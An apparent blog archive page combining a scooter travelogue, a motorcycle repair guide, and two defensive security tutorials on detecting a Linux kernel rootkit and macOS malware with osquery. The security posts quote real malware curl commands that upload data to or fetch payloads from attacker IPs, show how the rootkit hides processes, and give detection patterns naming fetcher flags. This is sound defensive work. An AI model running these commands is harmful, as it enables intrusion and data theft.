Sanford is a surprisingly charming town. It’s yet another town born of railroads, but brick-making also played a massive role in its success. Nearly every building downtown is made from brick, and many have beautiful murals too. There are numerous lively and accessible local businesses, which give Sanford a hipper feel than most of the towns in rural North Carolina. It's still "Country enough" that the rural 20-somethings can be easily found revving and racing down Horner Blvd.

As much as I love the concept of a free EV charger, this location epitomizes the problems of misplaced incentivization:

One charger is always in use by the same black Tesla Model 3. Probably an employee of a local shop.
One charger has been half-broken for over a year.

The half-broken charger is workable for many vehicles, but only if you know to depress the broken J1772 latch while plugging it into your vehicle. Thanks to Plugshare, I knew that. This trick apparently won't work for Tesla's, however.

On my way to my favorite coffee shop, I passed by the Lee County Republican Headquarters, which has the sort of fear-mongering signs you've come to expect from the Republican Party of 2023. My usual coffee place was closed, so I grabbed an iced coffee from a place I had not tried before, Family Grounds Cafe. Nearby I found another great mural - you can't go more than a block in Sanford without stumbling onto one:

Feeling caffeinated and I head back to my bike, and see that it charged from 26% to 76% over 37 minutes. That’s 13% more than I need to get home, so I set the BMW routing software to "Fastest" and look forward to getting home directly via 15-501.

Leg 5: Sanford to Chapel Hill (The Final Leg!) 39 miles, 75 minutes riding, 5 minutes charging

A couple of miles down the road, I blindly follow the GPS instructions onto US-1, a 70mph road. "Fuck!". I didn't plan on those sort of speeds. You see, needlessly high-speed travel is bad news on an electric vehicle. The energy required to overcome wind resistance has a cubic relationship with velocity:

energy required = 0.5 * density_of_air * velocity^3 * drag coefficient * surface area

For example, Increasing speed from 62mph (100km/h) to 68mph (110km/h) can increase energy consumption by 33%. You don't notice this in a gas vehicle so much, as they are incredibly inefficient at low speeds. In something like a Tesla, you don't notice either as it's drag coefficient & surface area is low, and it's battery is huge. I nervously watched as the “estimated range” number on the dash inched closer to the “distance to destination” number.

By the time I pulled off the highway at Moncure, the two numbers were only 1 mile apart: 27 miles from my destination with only 28 miles of range left. Without a full charge, there was no way I would make it if I stayed on US-1. Moncure is a tiny town the middle of nowhere, but amazingly the Exxon station in town has an EV charger. It is however a more modern & faster DC-based charger, whereas the BMW CE 04 only supports AC-based charging. Supporting only a single charging technology makes sense for BMW, as this scoot was designed as a "charge overnight" commuter rather than a long-distance touring bike. Thankfully, the planning websites I use filter out incompatible chargers, so I didn't have to visit it in person to suffer disappointment.

After changing the rI was reasonably confident that as long as I stayed off the highways, I wouldn't have a problem getting home without a change, so I changed the BMW routing algorithm to "Efficient", and it directed me to a route that hugs the western coast of Jordan Lake. The roads here are empty - I only see a car every 5 minutes or so. I drop down to about 40 mph to conserve my range, as I know that the energy required to overcome wind resistance has a cubic relationship with velocity:

On these chill, shady back roads, I passed by many entrances to Jordan Lake and the Carolina Tiger Rescue before briefly ending up on US-64 until I could turn off onto Gilead Church Rd, which I followed back to 15-501 near Fearrington (a pastoral yuppy enclave). Being familiar with this area, I knew I would pass by the Chatham Health Sciences Center, which has an incompletely configured charger that was still not technically open. I had previously read from the Plugshare site that if you went to the language selection screen on these Chargepoint chargers, you could unlock the otherwise inoperable chargers. It's worth a try!

I rolled to the charger with a 22% charge, so I just did a 5-minute top-off to 32% and headed home, not nearly as nervous as I was before. I arrived with a 16% charge and 11 miles of estimated range. Without that final charge, I would have been able tot arrive home at 6%, but with significantly more anxiety and less attention to the road.

I hope y'all now have a feel for what it's like to tour a rural area with a small-battery electric vehicle. Much like bicycle touring, it requires planning and patience. However, it also allows you to see things you would typically scoot right by - from the Chatham Beverage Center to the Canebrakes of the Deep River. Improvise. Adapt. Overcome.

I wouldn't trade this ride for any other currently available vehicle - though if BMW ever releases a CE with support for DC fast charging and 25% more range, I'd jump on it immediately.

DIY Linux Kernel Rootkit Detection

2023-03-04T00:00:00Z

Today I will teach you how to roll your own detection of a classic Linux kernel rootkit using shell scripting (for explanation) and osquery (for production).

Your chance of encountering a Linux kernel rootkit in the wild is slim due to compatibility and distribution challenges, so this explanation is geared toward the most paranoid folks in the audience. For this demonstration, we'll use reveng_rtkit - one of the more modern examples of a Linux rootkit.

As of February 2023, this reveng_rtkit runs well on Debian, so I used lima with limactl start template://debian to create my test environment.

How does one detect a rootkit anyways?

The trick to detecting a rootkit is to find cracks in the illusion they present. Most rootkits only hide their presence when probed with a specific syscall, but Linux has hundreds of syscalls to choose from. Most commonly, Linux rootkits will hide processes or directory entries by overriding getdents(2), but neglect stat(2). Some rootkits hide file contents by overriding read(2), but forget about mmap(2).

Collecting Evidence

Collecting the state of a system before and after a malware installation is an easy way to determine what attributes to alert on.

If you are only concerned about filesystem changes, many methods are available, such as Sleuthkit or hashdeep. Fewer choices exist if you are concerned about the larger overall system state.

Since I work on the [osquery-detection-kit,]((https://github.com/chainguard-dev/osquery-defense-kit project) I’ll use it to collect a subset of system information to a file. osquery-detection-kit does require extremely recent versions of Go and osquery to be installed, so here's how I installed the dependencies:

arch=$(uname -m | sed -e s/x86_64/amd64/g -e s/aarch64/arm64/g)
curl -L https://go.dev/dl/go1.20.1.linux-${arch}.tar.gz | sudo tar -C /usr/local -zxvf -
curl -LO https://pkg.osquery.io/deb/osquery_5.7.0-1.linux_${arch}.deb
sudo dpkg -i osquery_5.7.0-1.linux_${arch}.deb
export PATH=/usr/local/go/bin:$PATH

Here's how I collected the data:

git clone https://github.com/chainguard-dev/osquery-defense-kit
cd osquery-defense-kit
git pull
make collection

This will populate a subfolder named out/ with evidence, so that we may compare against it later.

Installing The Rootkit

I followed the instructions on https://github.com/reveng007/reveng_rtkit to install the rootkit. Here's how I loaded it:

sudo insmod reveng_rtkit.ko

Afterward, sudo dmesg shows:

[  382.584069] [+] reveng_rtkit: Created by @reveng007(Soumyanil)
[  382.584070] [+] reveng_rtkit: Loaded
[  382.584071] [*] reveng_rtkit: Hiding our rootkit LKM from `lsmod` cmd, `/proc/modules` file path and `/proc/kallsyms` file path

Finding System State Differences

Now I'm able to collect system state once again and diff the two:

cd $HOME/osquery-defense-kit
make collect
diff -ubR ./out/<old> ./out/<new>

The first thing that stood out was that one of the sysctl's changed:

-config_value: current_value:0 name:kernel.tainted oid: subsystem:kernel type:string
+config_value: current_value:12288 name:kernel.tainted oid: subsystem:kernel type:string

The rootkit uses kill -31 to hide processes, so I used kill -31 $$ to hide my shell process, ran the collection, and ... found no further differences. This means I'm going to have to improve our detection scripts.

For testing, I also started a sleep 7200 & process in the background from the hidden shell. This rootkit also hid this subprocess - not all are so consistent.

Detecting hidden pids

Kernel rootkits tend to do two things with varying levels of success: hide their kernel module, and hide a process ID. revenge_rtkit does this by hiding getdents() calls to /proc, but if you know the hidden process ID, you can stat it directly. Ironically, this is also how Linux hides lightweight threads from users.

For most of Linux's life, the maximum number of pids on a system was 32768, a relatively small area to stat. Most modern Linux distros have bumped this number up, so this process is going to be slow. To check your system's maximum pid number, run cat /proc/sys/kernel/pid_max.

Here's a shell script that iterates through all possible pid numbers, revealing any that were not found when listing /proc: [full source]

[[ $EUID != 0 ]] && echo "* WARNING: For accurate output, run $0 as uid 0"

declare -A visible
cd /proc || exit

start=$(date +%s)
for pid in *; do
    visible[$pid]=1
done

for i in $(seq 2 "$(cat /proc/sys/kernel/pid_max)"); do
    [[ ${visible[$i]} = 1 ]] && continue
    [[ ! -e /proc/$i/status ]] && continue
    [[ $(stat -c %Z /proc/$i) -ge $start ]] && continue

    #  pid is a kernel thread
    [[ $(awk '/Tgid/{ print $2 }' "/proc/${i}/status") != "${i}" ]] && continue

    exe=$(readlink "/proc/$i/exe")
    cmdline=$(tr '\000' ' ' <"/proc/$i/cmdline")
    echo "- hidden $(cat /proc/$i/comm)[${i}] is running ${exe}: ${cmdline}"
done

Here's the output of this script:

- hidden bash[1924] is running /usr/bin/bash: /bin/bash --login
- hidden sleep[18518] is running /usr/bin/sleep: sleep 7200

To use roughly the same logic with osquery, use the following within sudo osqueryi [full source]:

WITH RECURSIVE cnt(x) AS (
   SELECT 1
   UNION ALL
   SELECT x + 1
   FROM cnt
   LIMIT 4194304
)
SELECT p.*
FROM cnt
   JOIN processes p ON x = p.pid
WHERE x NOT IN (
       SELECT pid
       FROM processes
)
AND p.start_time < (strftime('%s', 'now') - 1)
AND (
       p.pgroup = p.pid
       OR (
           p.pid = p.parent
           AND p.threads = 1
       )
)

Detecting unusual kernel taints

Earlier we talked about the value of sysctl kernel.tainted changing from 0 to 12288. Let's use the following script to diagnose it [full source]:

declare -A table=(
    [0]="proprietary module was loaded"
    [1]="module was force loaded"
    [2]="kernel running on an out of specification system"
    [3]="module was force unloaded"
    [4]="processor reported a Machine Check Exception (MCE)"
    [5]="bad page referenced or some unexpected page flags"
    [6]="taint requested by userspace application"
    [7]="kernel died recently, i.e. there was an OOPS or BUG"
    [8]="ACPI table overridden by user"
    [9]="kernel issued warning"
    [10]="staging driver was loaded"
    [11]="workaround for bug in platform firmware applied"
    [12]="externally-built (out-of-tree) module was loaded"
    [13]="unsigned module was loaded"
    [14]="soft lockup occurred"
    [15]="kernel has been live patched"
    [16]="auxiliary taint, defined for and used by distros"
    [17]="kernel was built with the struct randomization plugin"
    [18]="an in-kernel test has been run"
)


taint=$(cat /proc/sys/kernel/tainted)
[[ $taint == 0 ]] && exit

echo "kernel taint value: ${taint}"
for i in $(seq 18); do
    bit=$(($i-1))
    match=$(($taint >> $bit &1))
    [[ $match == 0 ]] && continue
    echo "* matches bit $bit: ${table[$bit]}"
done

echo ""
echo "dmesg:"
dmesg | grep taint

Here's the output of that script when this rootkit is loaded:

kernel taint value: 12288
* matches bit 12: externally-built (out-of-tree) module was loaded
* matches bit 13: unsigned module was loaded

dmesg:
[  368.765518] reveng_rtkit: loading out-of-tree module taints kernel.
[  368.777600] reveng_rtkit: module verification failed: signature and/or required key missing - tainting kernel

Here's the osquery query I generated for alerting on this kind of taint [full source]:

SELECT current_value AS value,
    current_value & 65536 AS is_aux,
    current_value & 8192 is_unsigned,
    current_value & 4096 AS out_of_tree,
    current_value & 512 AS kernel_warning,
    current_value & 614 AS requested_by_userspace,
    current_value & 8 AS force_unloaded,
    current_value & 4 AS out_of_spec,
    current_value & 2 AS force_loaded,
    current_value & 1 AS proprietary
FROM system_controls
WHERE name = "kernel.tainted"
    AND current_value NOT IN (0, 512, 12289, 4097)

Detecting unusual /dev entries

We noted an unusual device earlier, which is used to communicate to the rootkit:

crw-------  1 root root 247,   0 Feb 23 15:53 etx_device

The "247" in the output there is the major device number, which generally maps to a kernel module. To find unexpected devices like this, you can either whitelist expected device names, or expected major numbers. We'll do it both ways here.

To use major number logic, you'll want to refer to https://www.kernel.org/doc/Documentation/admin-guide/devices.txt. Armed with this information, there are two data sources to check, /proc/devices, and /dev. The first one is interesting, as it's a map of major numbers to drivers:

Character devices:
  1 mem
  4 /dev/vc/0
  4 tty
…
189 usb_device
226 drm
247 etx_Dev
248 aux

One major flaw in my plan is that there are sections of dynamically generated major numbers, for instance, our suspicious 247 major device lands squarely in this section:

240-254 block LOCAL/EXPERIMENTAL USE

So, I went with a hybrid approach to discover devices that are commonly found on UNIX systems, by major number when possible, and the device name when it's dynamic [full source]:


declare -A expected_major=(
    [1]="memory"
    [2]="pty master"
    [3]="pty slave"
    [4]="tty"
    [5]="alt tty"
    [6]="parallel"
    [7]="vcs"
    # [8]="scsi tape"
    [9]="md"
    [10]="misc"
    [13]="input"
    [21]="scsi"
    [29]="fb"
...
)

declare -A expected_low=(
    ["bsg/"]=1
    ["dma_heap/system"]=1
...
)

declare -A expected_high=(
    ["drm_dp_aux"]=1
    ["iiodevice"]=1
)

for path in $(find /dev -type c); do
    hex=$(stat -c '%t' $path)
    major=$(( 16#${hex} ))
    pattern=$(echo $path | cut -d/ -f3- | tr -d '[:0-9]')

    # Unix98 PTY Slaves
    (( major >= 136 && major <= 143 )) && continue
    [[ ${expected_major[$major]} != "" ]] && continue

    class="UNKNOWN"
    (( major >= 60 && major <= 63 )) && class="LOCAL/EXPERIMENTAL"
    (( major >= 120 && major <= 127 )) && class="LOCAL/EXPERIMENTAL"
    if (( major >= 234 && major <= 254 )); then
        class="low dynamic"
        [[ ${expected_low[$pattern]} == 1 ]] && continue
    fi

    if (( major >= 384 && major <= 511 )); then
        class="high dynamic"
        [[ ${expected_high[$pattern]} == 1 ]] && continue
    fi

    echo "${class} major device ${pattern}[${major}]"
    echo "* $(ls -lad $path)"
    echo "* /proc/devices: $(sed -n '/Block devices:/q;p' /proc/devices | grep -e "^ *${major}")"
    echo ""
done

Here is the output of this script on a system with reveng_rtkit installed:

low dynamic major device etx_device[247]
* crw------- 1 root root 247, 0 Mar  3 19:48 /dev/etx_device
* /proc/devices: 247 etx_Dev

In osquery, there is no reliable way to determine a major number, as it depends on a local magic database. There we'll rely on a simple whitelist of device names [full source]:

SELECT *
FROM
 file
WHERE
 (
   path LIKE '/dev/%'
   OR directory LIKE '/dev/%'
 )
 AND path_expr NOT IN (
   '/dev/acpi_thermal_rel',
   '/dev/autofs',
   '/dev/block/',
   '/dev/block/:',
   '/dev/bsg/',
   '/dev/bsg/:::',
…
)

In Closing

In a future episode, we'll explore what it takes to detect an eBPF rootkit. The general philosophy is the same: know what to expect from your system and detect half-hearted illusions. I hope you enjoyed this article!

If you have questions, find me at @tstromberg.

BMW CE 04: Indicator Replacement Procedure

2023-01-21T00:00:00Z

A couple of weeks ago, I had the misfortune of breaking the indicator light off my BMW CE 04 scooter. It was through no fault of its own, I just underestimated the amount of suspension travel when mounting a bicycle on the back of it using the 2x2Cycles Moto Bicycle Carrier.

Give yourself 3-4 hours to perform these steps as it can require the removal and reinstallation of up to 25 bolts. Even if you are generally bad at mechanical things, this is an entirely doable procedure with the correct tools.

Credit to Guru Shudamundi, who posted a summarized version in a BMW CE 04 Facebook Forum thread, which gave me the courage to fix my own bike.

Required Equipment

Replacement “Multifunctional turn signal” (63 23 7 924 982 in the USA)
T25, T30 Torx bit or wrenches
T50 Torx bit
Socket Wrench - wheel removal
Torque Wrench (60nm) - wheel installation
Pliers
Small adjustable wrench
Cable tie cutter or scissors
5x Small Tie Wraps

Please note that the turn signal part is subtly different in the USA - this procedure will show the USA parts, but the steps are effectively the same. You can order the replacement part from your BMW dealer, or online dealers such as A&S Cycles: it’s a common part that is shared with the CE04, M1000RR, R nineT, S1000*R series of bikes.

Step 1: Failed Indicator Removal

Unscrew what’s left of the failed indicator, as well as the protective cowl in place, using a T30 and T25 torx wrench. You will also need an adjustable wrench to keep the nut on the other side from rotating freely.

Step 1: Wheel Removal

With the bike still on the side-stand, loosen each of the five T50 wheel bolts by a few turns. It’ll be much easier to do so now than when it’s on the center-stand.

Now put the CE-04 up on the center-stand for the removal, ensuring that the center-stand doesn’t sink into the ground. If you don’t have a center-stand, get creative with something else sturdy.

Partially unscrew each bolt by two turns using a T50 Torx wrench. With some wiggling, you should be able to pull the wheel straight out toward you. I ended up loosening the mud guard as the wheel I didn’t have enough clearance with the gravel.

Step 2: Panel Removal

You can summarize this step as: remove every bolt and tie wrap in your way, but feel free to keep reading for the gory details.

You’ll first need to remove this cover from the belt drive side of the bike with a T25 torx bit.

Underneath it there is another inner panel, which you should unscrew but not remove. This will give you more wiggle room to install the indicator cable that is sitting behind it (visible in the center of this picture)

Depending on which indicator needs replacement, the cable will run to either the connection you see here or the one just to the left of it, hidden beneath the clip. You’ll need to reach that clip from the wheel side. Go ahead and unscrew this T25 bolt if you haven’t already:

From the wheel side, you can see the 3 cables leading from the license plate holder toward the front of the bike. One for each indicator and one for the brake light. Trace the wire and cut all the tie wraps keeping these cables in place. You’ll also want to undo the unusually short T25 bolt hiding under the wires here:

While you are here under the mud flap, go ahead and undo this T25 bolt as well that helps keep the license plate attached:

You’ll also need to undo these two T30 bolts on the top side of the mud flap. Once that’s done, the light assembly will only be held on by cables.

Once the lights and plate are free, you will find one more tie wrap to cut:

If you haven’t done so already, unscrew the remainder of your broken light with a T25 torx bit. You will likely need a small wrench to keep the nut stationary while doing so. Once you’ve unscrewed the protective cowl, cut the old light cable.

With the broken cable cut, follow the cable to where it plugs into the bike. For the left indicator, it’s hidden under this clip that needs to be popped off. I used a pair of pliers, but if you hate your hands, you can do it with your fingers.

Step 3: Wiring in the new indicator

Before doing anything else, you must thread the new connector through the tail light assembly. It’s a tight curve that might seem daunting initially, but it can be done!

Once you have the cable end through, put the protective cowl on the indicator to prepare it for attachment back to the light assembly:

Grab a wrench and T25 torx bit to screw the indicator lamp into the main light assembly.

Replace the tie wrap you cut within the license plate assembly:

Now things are secure enough that you can safely plug the indicator wire in if you haven’t already, and give it a try before reassembly.

Step 4: Panel Reassembly

Now that you’ve confirmed the new light works, it’s time to put the bike back together!

Start by reinstalling the license plate and light assembly back onto the mudguard with two T30 bolts on the outside. Attach the unusually short T25 bolt that lives below the cables (seen here between the 2nd and 3rd tie wrap from the left):

Verify the routing of your cables, and then replace the 4 tie wraps that you cut earlier:

Once everything seems correct, install the final T25 bolt for the tail light assembly, underneath the mud guard.

Now cut the tie wraps before we go back to the belt-side of the vehicle, where we will begin putting the other panels back in place. On the inner panel between the shock and the belt, screw in the top-right and bottom-most T25 screws.

Now reinstall the outer cover with 3 final T25 bolts. Screw the top bolt first, as the clasp may fall off - you may need to hold it in place with a pair of pliers.

Reinstall any other remaining T25 bolts you might have unscrewed from the body. In my case, I also undid a T25 bolt from the front of the mud cover to give myself more room to remove the wheel:

Step 5: Wheel Installation

At this point, your cables should be all routed properly, the body on, cables cut, bolts screwed in, and things looking clean overall:

If so, lift the wheel into the right place, and screw the T50 torx bolts back in with a star pattern, finger tight first. Then come back with a torque wrench and tighten each bolt to 60nm (44ft/lb) in a star pattern.

Now go ride that thing!

Behavioral detection of macOS malware using osquery

2023-01-10T00:00:00Z

As part of my duties at Chainguard, I maintain an osquery based detection pipeline. As an open-source first company, we naturally open-sourced our production queries as part of the osquery-defense-kit. When new Malware reports are released, I'll typically consume them to gather ideas for improving the effectiveness of our queries.

With the new year upon us, Objective See recently published a retrospective report on the most interesting Mac Malware of 2022. This was an excellent opportunity to review the evidence to see which queries are the most effective. I am additionally thankful that Objective See publishes Malware binaries for additional review, as some of the evidence this report relies on had to be extracted from the original binaries.

Which queries found which Malware?

These are the top alerts from the osquery-defense-kit that you should expect to fire if one of these Malware packages from the report are running on a host:

Malware	Talkers	ExecDir	New Executable	Launchd Arguments	Shell Parents	Sketchy Fetchers	Tmp Executables	Fetcher Parents
SysJoker	Y	Y	Y	Y	Y	Y
DazzleSpy	Y	Y	Y	Y	Y		Y
Coinminer	Y	Y	Y	Y	Y		Y
GIMMICK	Y	Y	Y	Y	Y	Y		Y
oRat	Y	Y	Y			Y	Y	Y
CrateDepression	Y	Y	Y	Y		Y	Y	Y
pymafka	Y	Y	Y	Y	Y	Y		Y
VPN Trojan (Covid)	Y	Y	Y	Y		Y
CloudMensis	Y	Y	Y	Y	Y
rShell (Mimi)	Y	Y	Y		Y		Y
Insekt	Y	Y	Y				Y	Y
KeySteal	Y	Y		Y
SentinelSneak	Y				Y	Y		Y

Other queries that you should expect to see triggered are: exotic-commands, unexpected-library-entries, and fake-apple-launchd-entries.

Generically detecting Malware via behavior analysis

Almost uniformly, an intrusion on a macOS or Linux host is going to go through the following steps:

Fetch: Get a program to install from an external source
Drop: Place a program in a known writeable location within the filesystem
Prepare: Modify the execution settings of that program (chmod +x, xattr -c)
Execute: Run the newly installed program
Persist: Configure persistence for that program across reboots
Communicate: Contact an external host via TCP/IP

Looking back at our table of matching queries, they all map to one of these stages. Let's dive into each of these stages and see what each query is doing under the hood.

Fetch: Finding Sketchy Fetchers

This is one of my personal favorite queries. The first step in nearly every infection is to download additional stages, and the most popular way to do this without any additional code is curl.

When an attacker invokes curl, they typically do so with quirks that make it stand out from other callers:

-k is used to turn off SSL validation
Flags such as --connect-timeout are often used to improve reliability on poor connections
Non-standard ports are used
The target is often an IP
When the target is DNS, it is often in an atypical TLD
Rarely, but occasionally runs curl or wget as root

Can you combine all these quirks into a single query? The answer is yes!

SELECT
  pe.pid,
  TRIM(pe.cmdline),
  REGEX_MATCH (pe.cmdline, '(\w+:\/\/.*)\b', 1) AS url,
  REGEX_MATCH (pe.cmdline, '//(\d+\.\d+\.\d+\.\d+)[:/]', 1) AS ip,
  REGEX_MATCH (pe.cmdline, ':(\d+)', 1) AS port,
  REGEX_MATCH (pe.cmdline, '//([\w\-\.]+)[:/]', 1) AS addr,
  REGEX_MATCH (pe.cmdline, '//[\w\-\.]+\.(\w+)[:/]', 1) AS tld,
  pe.cwd,
  pe.euid,
  p.cgroup_path,
  pp.path AS parent_path,
  TRIM(pp.cmdline) AS parent_cmdline
FROM
  process_events pe
  LEFT JOIN processes p ON pe.pid = p.pid
  LEFT JOIN processes pp ON pe.parent = pp.pid
WHERE
  pe.time > (strftime('%s', 'now') -86400)
  AND (
    INSTR(pe.cmdline, 'wget ') > 0
    OR INSTR(pe.cmdline, 'curl ') > 0
  )
  AND (
    ip NOT IN ('', '127.0.0.1', '::1')
    OR port != ''
    OR tld NOT IN (
      '',
      'app',
      'ca',
      'cloud',
      'com',
      'de',
      'dev',
      'edu',
      'fun',
      'gov',
      'io',
      'md',
      'mil',
      'net',
      'org',
      'se',
      'sh',
      'so',
      'uk'
    )
    OR pe.cmdline LIKE '%.onion%'
    OR pe.cmdline LIKE '%curl -k%'
    OR pe.cmdline LIKE '%curl -sL %'
    OR pe.cmdline LIKE '%curl%--connect-timeout%'
    OR pe.cmdline LIKE '%curl%--output /dev/null%'
    OR pe.cmdline LIKE '%curl%--O /dev/null%'
    OR pe.cmdline LIKE '%curl%--insecure%'
    OR pe.cmdline LIKE '%curl%-o-%'
    OR pe.cmdline LIKE '%wget %--user-agent%'
    OR pe.cmdline LIKE '%wget %--no-check-certificate%'
    OR pe.cmdline LIKE '%wget -nc%'
    OR pe.cmdline LIKE '%wget -t%'
    OR pe.euid < 500
  )

The full query can be found here: sketchy-fetcher-events.sql.

Here are some examples of how the macOS malware from 2022 is invoking fetchers in a way that matches the above query:

Gimmick: curl -o %s http://cgi1.apnic.net/cgi-bin/my-ip.php --connect-timeout 10 -m 20
pymafka: curl -A O -o- -L http://39.107.154[.]72/env
SentinelSneak: curl -k -F "file=@" <zip> https://54.254.189[.]27/api/v1/file/upload
oRAT: curl -sL https://d.github[.]wiki/mac/darwinx64 -O

It's worth noting that this query includes processes.cgroup_path, which can be useful to filter out containerized applications on Linux, as they will often be run from lower euids.

Drop: Executables in temporary directories

It's very rare for executables to be found in /tmp or /var/tmp, particularly on macOS; the former is deleted on reboot. It is however popular for Malware to store binaries here, as it is reliably writeable across UNIX platforms, as folks rarely poke around these folders.

In the examples we examined above, there are a few examples:

pymafka: /var/tmp/zad
CoinMiner: /tmp/lauth
DazzleSpy: /tmp/airportpaird
CrateDepression: /tmp/git-updater.bin
MiMi: /tmp/rshell
Alchimist: /tmp/Res/Payload
Gimmick: /tmp/*

Here's a query that should find all of those examples and more:

SELECT
  file.path,
  uid,
  gid,
  mode,
  REGEX_MATCH (RTRIM(file.path, '/'), '.*\.(.*?)$', 1) AS extension,
  file.mtime,
  file.size,
  hash.sha256,
  magic.data
FROM
  file
  LEFT JOIN hash on file.path = hash.path
  LEFT JOIN magic ON file.path = magic.path
WHERE
  (
    file.directory = '/tmp' OR
    file.directory LIKE '/tmp/%%'
    file.directory = '/var/tmp' OR
    file.directory LIKE '/var/tmp/%%'
  )
  AND file.type = 'regular'
  AND size > 10
  -- Don't alert if the file is only on disk for a moment
  AND (strftime('%s', 'now') - ctime) > 30
  AND (
    file.mode LIKE '%7%'
    or file.mode LIKE '%5%'
    or file.mode LIKE '%1%'
  )
  -- macOS updates
  AND NOT file.directory LIKE '/tmp/msu-target-%'
  -- Other programs
  AND NOT file.path LIKE '/tmp/ko/bin/%'
  AND NOT extension IN ('sh', 'json')
  AND NOT file.name IN ('configure', 'mkinstalldirs')

If you have developers, you may need to tune this carefully, as they will occasionally extract source code into /tmp and build code there if it is disposable. This behavior appears more common with Linux developers than macOS developers.

Execute: Unexpected Executable Directory

Malware typically drops an initial program in a known writeable directory that is not easily noticed. Malware authors rarely choose directories where other binaries are already installed. The gist of this query is: to detect which programs are running from places we don't usually see programs running from.

SELECT
  p.pid,
  p.name,
  p.path,
  p.euid,
  p.gid,
  f.ctime,
  f.directory AS dir,
  REGEX_MATCH (
    REPLACE(f.directory, u.directory, '~'),
    '(~/.*?/)',
    1
  ) AS top_homedir, -- 1 level deep
  p.cmdline,
  signature.identifier,
  signature.authority
FROM
  processes p
  LEFT JOIN file f ON p.path = f.path
  LEFT JOIN users u ON p.uid = u.uid
  LEFT JOIN signature ON p.path = signature.path
WHERE
  dir NOT IN (
    '/bin',
    '/opt/usr/bin',
    '/opt/X11/bin',
    '/opt/X11/libexec',
    '/sbin',
    '/usr/bin',
    '/usr/lib',
    '/usr/lib/bluetooth',
    '/usr/lib/cups/notifier',
    '/usr/libexec',
    '/usr/libexec/ApplicationFirewall',
    '/usr/libexec/AssetCache',
    '/usr/libexec/firmwarecheckers',
    '/usr/libexec/firmwarecheckers/eficheck',
    '/usr/libexec/rosetta',
    '/usr/lib/fwupd',
    '/usr/lib/ibus',
    '/usr/lib/system',
    '/usr/local/bin',
    '/usr/sbin'
  )
  AND top_homedir NOT IN (
    '~/Applications/',
    '~/Applications (Parallels)/',
    '~/go/',
    '~/bin/'
  )
  AND dir NOT LIKE '/Applications/%'
  -- Allow these anywhere (put last because it's slow to query signatures)
  AND signature.authority NOT IN (
    'Apple iPhone OS Application Signing',
    'Apple Mac OS Application Signing',
    'Developer ID Application: Adobe Inc. (JQ525L2MZD)',
    'Software Signing'
  )

This query is low maintenance, but if you have a lot of developers, you may find yourself adding more home directory or temp directory exceptions. For an event-based version of this query, see execution/unexpected-execdir-events-macos.sql.

Execute: Unexpected New Executable

Malware will typically execute a program as soon as it hits the disk. It's pretty easy to write a query to see which software was executed shortly after the executable birth time (btime) or inode change time (ctime).

Here's a basic query you can use to see which programs were started within 2 minutes (120 seconds) of being installed and were started in the last day (86400 seconds).

SELECT
  p.pid,
  p.path,
  p.name,
  p.cmdline,
  p.cwd,
  p.euid,
  p.parent,
  f.directory,
  f.ctime,
  f.btime,
  f.mtime,
  p.start_time,
  signature.authority,
  signature.identifier
FROM
  processes p
  LEFT JOIN file f ON p.path = f.path
  LEFT JOIN signature ON p.path = signature.path
WHERE
  p.start_time > 0
  AND f.ctime > 0
  AND p.start_time > (strftime('%s', 'now') - 86400)
  AND (p.start_time - MAX(f.ctime, f.btime)) < 120
  AND p.start_time >= MAX(f.ctime, f.ctime)
  AND signature.authority NOT IN (
    'Apple Mac OS Application Signing',
    'Developer ID Application: Adobe Inc. (JQ525L2MZD)',
    'Software Signing'
  )
  AND NOT p.path LIKE '/Applications/%.app/%'
  AND NOT (
    p.path LIKE '/Users/%'
    AND p.uid > 499
    AND f.ctime = f.mtime
    AND f.uid = p.uid
    AND p.cmdline LIKE './%'
  )
 GROUP BY
  p.pid

The false positives you typically see here are auto-updating software like Google Chrome. Before deploying this query, you'll want to update the list of signature authorities you feel comfortable with. For the full query source, see execution/unexpected-execdir-macos.sql, and for the event-based version, see unexpected-execdir-events-macos.sql

Execute: Unexpected Shell Parents

Malware will typically allow for command execution within a shell, which is not something most software does. The path to the shell used may differ between Malware, but they typically fall into two camps:

/bin/bash: Mentioned by CloudMensis, DazzleSpy, Gimmick, oRAT, rShell
/bin/sh: Mentioned by CloudMensis, DazzleSpy, Insekt, KeySteal, oRAT
bash: Mentioned by pymafka (no path!)

If you maintain a list of programs you expect to launch a shell you can detect some exciting things. You can also get a bit more specific, by detecting particular flags such as -s' (pymafka) and -c` (SentinelSneak), but you are likely to miss many other types of execution.

Here's an example base query, using process_events (backwards looking):

SELECT
  pe.path AS child_path,
  pe.pid,
  REGEX_MATCH (pe.path, '.*/(.*)', 1) AS child_name,
  TRIM(pe.cmdline) AS child_cmd,
  pe.parent AS parent_pid,
  TRIM(IIF(pp.cmdline != NULL, pp.cmdline, ppe.cmdline)) AS parent_cmd,
  TRIM(IIF(pp.path != NULL, pp.path, ppe.path)) AS parent_path,
  REGEX_MATCH (
    IIF(pp.path != NULL, pp.path, ppe.path),
    '.*/(.*)',
    1
  ) AS parent_name
FROM
  process_events pe
  LEFT JOIN processes p ON pe.pid = p.pid
  LEFT JOIN processes pp ON pe.parent = pp.pid
  LEFT JOIN process_events ppe ON pe.parent = ppe.pid
WHERE
  pe.path IN ('/bin/bash', '/bin/sh')
  AND pe.time > (strftime('%s', 'now') -600)
  AND NOT parent_pid = -1
  AND NOT (
    parent_name IN (
      'zsh',
      'kubectl',
      'sudo',
      'bash',
      'sh',
      'git'
    )
    OR child_cmd IN (
      'sh -c python3.7 --version 2>&1',
      'sh -c xcode-select --print-path >/dev/null 2>&1 && xcrun --sdk macosx --show-sdk-path 2>/dev/null'
    )
  )
GROUP BY
  pe.pid

We do some gymnastics in the above query to determine the name of the parent process: and preferring the name of active processes over past processes in the process_events table. We also use TRIM() as osquery often includes trailing spaces in process_events table.

For the full source code, see initial_access/unexpected-shell-parent-events.sql)

Persistence: Launchd Program Arguments

While there are numerous ways to configure a program to launch after reboots, launchd is by far the most popular method on macOS. This is even the case for Malware, so you should be auditing any unknown launchd users.

While the osquery-defense-toolkit has many launchd related queries, we're going to focus on unexpected-launchd-program-arguments.sql) here because it would have caught 2/3rds of the Malware we covered. Here's a simplified version of the query:

SELECT
  l.label,
  l.name,
  l.path,
  TRIM(REGEX_SPLIT (l.program_arguments, ' -', 0)) AS program_path,
  l.program_arguments,
  l.keep_alive,
  signature.authority AS program_authority,
  hash.sha256
FROM
  launchd l
  LEFT JOIN signature ON program_path = signature.path
  LEFT JOIN hash ON program_path = hash.path
WHERE
  (
    run_at_load = 1
    OR keep_alive = 1
  )
  AND (
    program IS NULL
    OR program = ''
  )
  AND l.path NOT LIKE '/System/%'
